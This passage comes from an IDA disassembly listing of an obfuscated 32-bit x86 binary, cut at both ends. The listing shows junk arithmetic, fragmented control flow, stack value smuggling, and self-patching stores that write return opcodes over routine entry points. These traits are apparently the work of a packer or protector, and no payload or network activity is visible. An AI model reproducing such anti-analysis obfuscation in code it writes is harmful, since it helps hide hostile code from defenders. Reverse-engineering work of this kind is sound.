dword_4388F0+3Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_44B75B: ; CODE XREF: sub_44066C+C6Cj and edi, 5DD75520h pushf jmp loc_43738E ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44921D loc_44B767: ; CODE XREF: sub_44921D+4F7Bj mov byte ptr [eax], 0C3h jmp loc_442502 ; END OF FUNCTION CHUNK FOR sub_44921D ; --------------------------------------------------------------------------- loc_44B76F: ; CODE XREF: y22d6.y.:loc_44B6C4j pop edx mov eax, [esp] push edx jmp loc_444BE9 ; --------------------------------------------------------------------------- mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_44941D jmp loc_43C155 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44B78B: ; CODE XREF: sub_448EB6:loc_448826j xchg edi, [esp-8+arg_4] push 7491579Ah xchg esi, [esp-4+arg_0] mov ebx, esi pop esi add ebx, 1D3A1AE4h and ebx, 603809E0h cmp ebx, 1BB0766Bh jmp loc_4451BC ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- cmp ebx, 4EC5F909h jmp loc_448E38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44B7BB: ; CODE XREF: sub_44B17B:loc_43C4B6j mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_440F58 jmp loc_43E637 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44B7CC: ; CODE XREF: sub_448EB6:loc_441F76j ; sub_448EB6-1E30j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h loc_44B7D2: ; CODE XREF: sub_44B17B-A752j jnz loc_44919A jmp loc_43EAAA ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test ebx, ebx mov ebp, 8B5AFFFEh add al, 24h push offset sub_44A947 jmp loc_448651 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A095 loc_44B7F1: ; CODE XREF: sub_44A095+Dj jz loc_44A7DE jmp loc_442F1C ; END OF FUNCTION CHUNK FOR sub_44A095 ; --------------------------------------------------------------------------- mov ds:off_41E0A8, eax lea eax, loc_44ABF4 mov byte ptr [eax], 0C3h jmp loc_44ABF4 ; =============== S U B R O U T I N E ======================================= sub_44B810 proc near ; CODE XREF: sub_402B8C+20p ; sub_419DC4+22p ... call sub_44B81B jmp ds:off_41E0AC sub_44B810 endp ; =============== S U B R O U T I N E ======================================= sub_44B81B proc near ; CODE XREF: sub_437236+7j ; sub_43C712-2342j ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00437242 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043737F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043B323 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043CF2E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E221 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004441B8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004457B3 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00446F9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448A14 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0044AC2F SIZE 0000000E BYTES jns loc_437242 jmp loc_43E221 sub_44B81B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_44B826: ; CODE XREF: sub_43704E+2B59j pushf mov ebx, edx xchg edx, [edi] or ebx, 79C2533Fh loc_44B831: ; CODE XREF: sub_43704E:loc_43FADFj push 0F31EC361h jmp loc_43D268 ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C7F1 loc_44B83B: ; CODE XREF: sub_44C7F1:loc_44C808j mov edx, [eax] cmp esi, ecx jmp loc_4483C8 ; END OF FUNCTION CHUNK FOR sub_44C7F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AB31 loc_44B844: ; CODE XREF: sub_43AB31:loc_445301j mov eax, [ebp+var_C] cmp byte ptr [eax], 0 jnz loc_4375FF mov eax, [ebp+var_4] mov [ebp+var_C], eax jmp loc_444FA9 ; END OF FUNCTION CHUNK FOR sub_43AB31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_44B85B: ; CODE XREF: sub_44B1D2:loc_43B6C7j jz loc_437CFE jmp loc_443163 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C41 loc_44B866: ; CODE XREF: sub_442C41+Aj mov [ebp-8], eax mov eax, [ebp+8] test byte ptr [eax-8], 80h jz loc_43C3B8 inc dword ptr [ebp-8] jmp loc_440359 ; END OF FUNCTION CHUNK FOR sub_442C41 ; --------------------------------------------------------------------------- loc_44B87E: ; CODE XREF: y22d6.y.:00445204j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_44B87F: ; CODE XREF: sub_43FAC6+4271j push 66E39D1Ch pop edx sub edx, 8EF320DAh or edx, 0FCCD363Fh test edx, 100000h jmp loc_4392EE ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_44B89C: ; DATA XREF: sub_44825F+614Do lea eax, sub_44A793 mov byte ptr [eax], 0C3h jmp sub_44A793 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A793 loc_44B8AA: ; CODE XREF: sub_44C7F1:loc_4483C8j ; sub_44A793+1j mov eax, [esp-4+arg_0] push edx push offset sub_44CFA4 jmp nullsub_182 ; END OF FUNCTION CHUNK FOR sub_44A793 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E38B loc_44B8B8: ; CODE XREF: sub_44E38B-B67Fj adc ebx, 0F09EA790h cmp eax, 0F8354A24h jmp loc_444C7C ; END OF FUNCTION CHUNK FOR sub_44E38B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ED4E loc_44B8C9: ; CODE XREF: sub_43ED4E:loc_4395CCj jnz loc_4452BD jmp loc_43DE90 ; END OF FUNCTION CHUNK FOR sub_43ED4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416CB loc_44B8D4: ; CODE XREF: sub_4416CB:loc_4380BEj call sub_43E913 mov eax, 19EDC823h call sub_43CA1A mov ds:off_41E1A4, eax lea eax, sub_4416CB mov byte ptr [eax], 0C3h jmp sub_4416CB ; END OF FUNCTION CHUNK FOR sub_4416CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442770 loc_44B8F7: ; CODE XREF: sub_442770+B575j mov eax, [ebp-28h] mov byte ptr [eax], 6Ch call sub_44BBBA ; END OF FUNCTION CHUNK FOR sub_442770 ; START OF FUNCTION CHUNK FOR sub_44271A loc_44B902: ; CODE XREF: sub_44271A+Bj pop eax and eax, 1B3C0972h add eax, 22D6AA0Ah sub eax, 29A1490Eh jmp loc_444AF9 ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44B91A: ; CODE XREF: sub_44BCC2-A567j jnz loc_443E3C jmp loc_43B55B ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44B925: ; CODE XREF: sub_441C69:loc_437A16j ; sub_4432B8:loc_43B547j sub ecx, 0B5B5674Fh loc_44B92B: ; CODE XREF: y22d6.y.:loc_441A9Ej xor ecx, 0BE4B1F7Eh add ecx, 4088D988h add ecx, ebp jmp loc_44C779 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- and ecx, 0A1E1336Fh jmp sub_43BA9E ; --------------------------------------------------------------------------- locret_44B949: ; CODE XREF: y22d6.y.:0043EAF7j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E242 loc_44B94A: ; CODE XREF: sub_44E242+Bj jmp loc_445076 ; END OF FUNCTION CHUNK FOR sub_44E242 ; --------------------------------------------------------------------------- loc_44B94F: ; CODE XREF: y22d6.y.:004482A3j add eax, ebp add eax, 8A3717D7h mov eax, [eax] popf push ebx push offset sub_4389FD jmp locret_43F3D2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_44B966: ; CODE XREF: sub_44BBBA-108Aj jmp loc_438130 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44B96B: ; CODE XREF: sub_4432B8-2136j jmp loc_440850 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_44B970: ; CODE XREF: sub_4383E0:loc_4453EDj jz loc_447747 jmp loc_43D189 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447D7F loc_44B97B: ; CODE XREF: sub_447D7F-4DB2j xchg esi, [ebp+0] xchg ecx, esi loc_44B980: ; CODE XREF: sub_447D7F:loc_442FC3j add esi, 0CC92F47Dh mov [esi], eax pop esi loc_44B989: ; CODE XREF: sub_43C52Aj lea eax, sub_440CE6 mov byte ptr [eax], 0C3h jmp sub_440CE6 ; END OF FUNCTION CHUNK FOR sub_447D7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440CE6 loc_44B997: ; CODE XREF: sub_440CE6:loc_447EC6j push offset loc_448615 jmp nullsub_210 ; END OF FUNCTION CHUNK FOR sub_440CE6 ; --------------------------------------------------------------------------- loc_44B9A1: ; CODE XREF: y22d6.y.:00445D53j pop eax rol eax, 1 xor eax, 28E1AE68h call sub_43CA1A push edi push 99B570BCh jmp near ptr dword_4388F0+26h ; --------------------------------------------------------------------------- loc_44B9BA: ; DATA XREF: sub_44C194-2E33o pushf push 5522381Fh pop edx xor edx, 0EC7AB06h add edx, 7004C1D6h or edx, 1C4C2DD7h jmp loc_442282 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E51C loc_44B9D8: ; CODE XREF: sub_44E51C:loc_43C855j jl loc_43A30D ; END OF FUNCTION CHUNK FOR sub_44E51C ; START OF FUNCTION CHUNK FOR sub_44C8E9 loc_44B9DE: ; CODE XREF: sub_44C8E9+Aj jmp loc_43A3D5 ; END OF FUNCTION CHUNK FOR sub_44C8E9 ; --------------------------------------------------------------------------- loc_44B9E3: ; CODE XREF: y22d6.y.:0043CDD2j jmp loc_44B496 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BBBA loc_44B9E8: ; CODE XREF: sub_44BBBA-11127j jmp loc_438220 ; END OF FUNCTION CHUNK FOR sub_44BBBA ; --------------------------------------------------------------------------- pop edx add ecx, 0D33BC486h cdq xchg edx, esi add edx, edi jmp loc_43A30D ; --------------------------------------------------------------------------- loc_44B9FE: ; CODE XREF: y22d6.y.:loc_4459B4j call sub_43CA1A mov ds:off_41E060, eax lea eax, sub_43E0A9 mov byte ptr [eax], 0C3h jmp sub_43E0A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E0A9 loc_44BA17: ; CODE XREF: sub_43E0A9j pop edx mov eax, [esp-4+arg_0] push edx jmp loc_444F50 ; END OF FUNCTION CHUNK FOR sub_43E0A9 ; =============== S U B R O U T I N E ======================================= sub_44BA21 proc near ; DATA XREF: y22d6.y.:0043F96Bo ; FUNCTION CHUNK AT 0043D0B5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00449734 SIZE 00000005 BYTES mov eax, edx call sub_43BE66 mov eax, [esp+0] push ecx push 87BE6FDAh pop ecx jmp loc_449734 sub_44BA21 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_44BA37: ; CODE XREF: sub_4385ED:loc_441925j ; sub_444DB4:loc_44DCADj mov eax, [ebp-14h] mov eax, [eax+20h] add eax, [ebp-4] xor edx, edx push edx push eax mov eax, [ebp-18h] jmp loc_4408E5 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- mov eax, [esi] jmp loc_446255 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_305. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44370B loc_44BA54: ; CODE XREF: sub_44370B+Aj jmp loc_43D760 ; END OF FUNCTION CHUNK FOR sub_44370B ; --------------------------------------------------------------------------- loc_44BA59: ; CODE XREF: y22d6.y.:0043D6D1j jmp loc_44A819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CC60 loc_44BA5E: ; CODE XREF: sub_43CC60+Aj jmp nullsub_185 ; END OF FUNCTION CHUNK FOR sub_43CC60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44BA63: ; CODE XREF: sub_440280-8D05j ; sub_440280:loc_43FC52j ... call sub_43FBC3 loc_44BA68: ; CODE XREF: sub_4444CE+29j jmp sub_43E913 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- loc_44BA6D: ; CODE XREF: y22d6.y.:loc_445B8Bj push eax mov edx, eax ; START OF FUNCTION CHUNK FOR sub_43DCC0 loc_44BA70: ; CODE XREF: sub_43DCC0:loc_444C06j push edx push 0C6EB0BCEh jmp loc_4472CE ; END OF FUNCTION CHUNK FOR sub_43DCC0 ; =============== S U B R O U T I N E ======================================= sub_44BA7B proc near ; CODE XREF: y22d6.y.:0043B51Aj ; sub_448EB6:loc_442100p arg_0 = dword ptr 4 xchg ecx, [esp+0] pop ecx add eax, 683ACF5h xchg eax, [esp-4+arg_0] jmp sub_4463CE sub_44BA7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BA8D proc near ; DATA XREF: sub_44A9DF:loc_44E507o ; FUNCTION CHUNK AT 0043D990 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx cmp ds:dword_441950, 0 push offset loc_446E0A jmp loc_43D990 sub_44BA8D endp ; --------------------------------------------------------------------------- sub edi, 0FC6CBB6h jmp loc_4498D9 ; --------------------------------------------------------------------------- push edi jmp sub_449CBB ; --------------------------------------------------------------------------- loc_44BAB3: ; CODE XREF: y22d6.y.:0043CAD7j jns loc_4384FD add ebp, 27861197h sbb edx, edi loc_44BAC1: ; CODE XREF: y22d6.y.:004461DEj sub ebx, eax jmp loc_43BF25 ; =============== S U B R O U T I N E ======================================= sub_44BAC8 proc near ; CODE XREF: sub_449641-112F3p ; y22d6.y.:0043E78Fj ; FUNCTION CHUNK AT 00449323 SIZE 0000000A BYTES xchg esi, [esp+0] pop esi mov edx, [edx] call sub_448EB6 loc_44BAD3: ; CODE XREF: sub_43EC01+5E27j ; y22d6.y.:00447115j jmp loc_449323 sub_44BAC8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442DA6 loc_44BAD8: ; CODE XREF: sub_442DA6+8j jmp loc_43F215 ; END OF FUNCTION CHUNK FOR sub_442DA6 ; =============== S U B R O U T I N E ======================================= sub_44BADD proc near ; CODE XREF: sub_4455ED+7p ; y22d6.y.:004488B5j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00446F84 SIZE 00000004 BYTES xchg edi, [esp-4+arg_0] pop edi xchg edx, [esp+0] loc_44BAE4: ; CODE XREF: y22d6.y.:00446F5Bj push 0EB8C65BFh pop edi rol edi, 0Fh xor edi, 0C0227F31h add edi, 0D468D51h jmp loc_446F84 sub_44BADD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44BAFE: ; CODE XREF: y22d6.y.:loc_4446D5j ; y22d6.y.:004446DEj and ebx, ds:4000E6h add ebx, 29519CB4h test ebx, 10000h jmp loc_43983C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A28E loc_44BB15: ; CODE XREF: sub_43A28E:loc_449AEDj and ebx, 0BA2DC6A4h push offset loc_443A87 jmp nullsub_188 ; END OF FUNCTION CHUNK FOR sub_43A28E ; --------------------------------------------------------------------------- loc_44BB25: ; CODE XREF: y22d6.y.:0044633Aj pop eax xor eax, 0F6ECCD47h cmp eax, 530F0130h jmp loc_44B575 ; --------------------------------------------------------------------------- loc_44BB37: ; CODE XREF: y22d6.y.:loc_43A33Aj push offset sub_4437B8 jmp locret_448D30 ; --------------------------------------------------------------------------- jnb loc_44BE74 pop edx mov eax, [esp] call sub_43A8EF ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44BB50: ; CODE XREF: sub_4450FD:loc_44C0C3j ; y22d6.y.:0044C8E4j jmp loc_449062 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- loc_44BB55: ; CODE XREF: y22d6.y.:004402AFj jmp loc_43CA39 ; --------------------------------------------------------------------------- loc_44BB5A: ; DATA XREF: sub_43B98D+852Bo mov edx, [ebp+8] mov [edx-18h], eax inc dword ptr [ebp-4] mov eax, [ebp+8] ; START OF FUNCTION CHUNK FOR sub_444F37 loc_44BB66: ; CODE XREF: sub_444F37:loc_43A0F9j mov eax, [eax-18h] and eax, 7 jmp loc_446375 ; END OF FUNCTION CHUNK FOR sub_444F37 ; --------------------------------------------------------------------------- push eax ror eax, 11h push esi push 0A85DED2Bh pop esi jmp loc_437504 ; =============== S U B R O U T I N E ======================================= sub_44BB81 proc near ; CODE XREF: sub_441191-5CECp ; y22d6.y.:004443C9j ... xchg esi, [esp+0] pop esi ror eax, 12h call sub_43FCB6 sub_44BB81 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_445F44 loc_44BB8D: ; CODE XREF: sub_445F44+3j jmp sub_440F6A ; END OF FUNCTION CHUNK FOR sub_445F44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D6D0 loc_44BB92: ; CODE XREF: sub_44D6D0:loc_43DD14j xchg ebp, [esp+0] push 0A6F98AECh pop edx rol edx, 9 jmp loc_43D617 ; END OF FUNCTION CHUNK FOR sub_44D6D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4476DE loc_44BBA3: ; CODE XREF: sub_4476DE:loc_44D12Bj call sub_43CA1A push ecx push 0F4C16CBAh pop ecx xor ecx, 6BFCC698h jmp loc_440B8C ; END OF FUNCTION CHUNK FOR sub_4476DE ; =============== S U B R O U T I N E ======================================= sub_44BBBA proc near ; CODE XREF: y22d6.y.:00441D79j ; sub_442770+918Dp ; FUNCTION CHUNK AT 0043773D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00438130 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00438220 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00438D9F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439017 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439D1D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043A908 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043AA86 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043B58A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B69A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E05A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043F7F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FA4B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00440A9C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004422DC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00442E6D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044523D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00445DA7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A499 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AB17 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0044B966 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B9E8 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx inc dword ptr [ebp-28h] mov eax, [ebp-28h] mov byte ptr [eax], 0 inc dword ptr [ebp-24h] jmp loc_44A499 sub_44BBBA endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44BBCF: ; CODE XREF: y22d6.y.:00439B41j jbe loc_43C245 not eax ; START OF FUNCTION CHUNK FOR sub_440CE6 loc_44BBD7: ; CODE XREF: sub_440CE6-507Bj or eax, 46787C20h add eax, 0A419C6D3h push ecx loc_44BBE4: ; CODE XREF: y22d6.y.:loc_43DF32j push 793221EBh xchg eax, [esp+8+var_8] mov ecx, eax jmp loc_44353F ; END OF FUNCTION CHUNK FOR sub_440CE6 ; --------------------------------------------------------------------------- push 0C750C0h jmp loc_44DCB7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44BBFE: ; CODE XREF: y22d6.y.:0044898Cj jmp sub_440AF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44BC03: ; CODE XREF: sub_448EB6:loc_448D87j ; y22d6.y.:00448D9Bj add edi, 0E10EE245h mov [edi], eax pop edi lea eax, sub_438FBB mov byte ptr [eax], 0C3h jmp loc_44A86D ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44BC1A: ; CODE XREF: y22d6.y.:loc_43B8D2j mov eax, [esp] jmp loc_4410FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DA4B loc_44BC22: ; CODE XREF: sub_44DA4B+13j pop eax sub eax, 995DCEE0h add eax, 0A0C4FC5Bh mov eax, [eax] or eax, eax jnz loc_43D76F jmp loc_43C726 ; END OF FUNCTION CHUNK FOR sub_44DA4B ; --------------------------------------------------------------------------- loc_44BC3E: ; CODE XREF: y22d6.y.:0043A18Dj pop ebx xor ebx, 0A131E2Ch cmp ebx, 0B529C4A5h jmp loc_43B20B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439E63 loc_44BC50: ; CODE XREF: sub_439E63+AA5Fj lea eax, sub_439E63 mov byte ptr [eax], 0C3h jmp loc_44D407 ; --------------------------------------------------------------------------- loc_44BC5E: ; CODE XREF: sub_439E63+1j mov eax, [esp-4+arg_0] call sub_441DA7 loc_44BC66: ; CODE XREF: sub_449BBC+10j jmp loc_447E8C ; END OF FUNCTION CHUNK FOR sub_439E63 ; --------------------------------------------------------------------------- loc_44BC6B: ; CODE XREF: y22d6.y.:004399AEj jmp loc_44105E ; --------------------------------------------------------------------------- mov eax, 201E933Eh push eax push 0E4EEEAA6h pop eax and eax, 0B819A7A0h xor eax, 7F8FE30h sub eax, 972E550Ch rol eax, 2 jmp loc_441E00 ; --------------------------------------------------------------------------- loc_44BC96: ; CODE XREF: y22d6.y.:loc_442EF5j mov edx, eax ; START OF FUNCTION CHUNK FOR sub_44B267 loc_44BC98: ; CODE XREF: y22d6.y.:0043850Aj ; sub_44B267:loc_438808j call sub_44D088 push ebx push 6EED6ED2h add ebx, 9A83D248h jmp loc_43BC71 ; END OF FUNCTION CHUNK FOR sub_44B267 ; =============== S U B R O U T I N E ======================================= sub_44BCAE proc near ; DATA XREF: sub_44AA69:loc_44B2AEo mov edx, [esp+0] mov al, 1 call edx ; GetModuleHandleA xor eax, eax retn sub_44BCAE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44193A loc_44BCB8: ; CODE XREF: sub_44193A+8FBEj jmp loc_44C555 ; END OF FUNCTION CHUNK FOR sub_44193A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4443AD loc_44BCBD: ; CODE XREF: y22d6.y.:0043968Ej ; sub_4443AD+Fj jmp loc_440A66 ; END OF FUNCTION CHUNK FOR sub_4443AD ; =============== S U B R O U T I N E ======================================= sub_44BCC2 proc near ; CODE XREF: sub_43ED31:loc_437F35p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437D08 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00437FEE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00438846 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004388C9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00438D4F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004396BD SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043AA1F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043AC74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B0D8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B3A1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B55B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B851 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BADE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043D3B5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043E440 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043EA3B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0043F542 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043FE53 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00440AA4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00441579 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00441748 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00441D7E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00441E44 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044200B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044291B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00442F21 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00443E3C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00443FCE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00444E09 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044507F SIZE 00000001 BYTES ; FUNCTION CHUNK AT 00445851 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445F2D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00446E43 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00447374 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00447A4D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448844 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448CB2 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00449269 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044966C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044A260 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A3B2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044B4C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B91A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C03E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044C3E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CE0E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0044D422 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D4F7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044D762 SIZE 00000011 BYTES push edx jmp loc_4396BD sub_44BCC2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44BCC8: ; CODE XREF: y22d6.y.:loc_44153Bj jz loc_44953E mov eax, [esp] push edx push ebx mov ebx, eax jmp loc_4427F0 ; --------------------------------------------------------------------------- jnb loc_4481BF rol ebp, 9 jmp sub_44A3E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43946E loc_44BCE8: ; CODE XREF: sub_43946E+6j pop edx xor edx, 44D82080h add edx, 3C2E5044h xchg edx, [esp+4+var_4] jmp loc_447D50 ; END OF FUNCTION CHUNK FOR sub_43946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448BA0 loc_44BCFD: ; CODE XREF: sub_448BA0+12j sub eax, 2B2FD314h and eax, 266DDC76h call sub_448C77 loc_44BD0E: ; CODE XREF: sub_4373B9+A3C2j jmp loc_438F1D ; END OF FUNCTION CHUNK FOR sub_448BA0 ; --------------------------------------------------------------------------- db 0F7h ; --------------------------------------------------------------------------- rol byte ptr [edx-160E70A7h], 0DBh adc edi, edi call fword ptr [ebp-7Fh] ; CODE XREF: y22d6.y.:loc_44E19Ej enter 1224h, 3Dh pop ecx rol eax, 13h xor eax, 0F3EE5031h add eax, 0D9B7DD1Eh xchg eax, [esp] jmp sub_43760A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_44BD3C: ; CODE XREF: sub_43C7C1+FBCCj js loc_443AAD loc_44BD42: ; CODE XREF: sub_43C7C1+FBBFj add ecx, 7B20ED63h rol ecx, 1 xor ecx, 688CA45Bh add ecx, 8F5481C0h 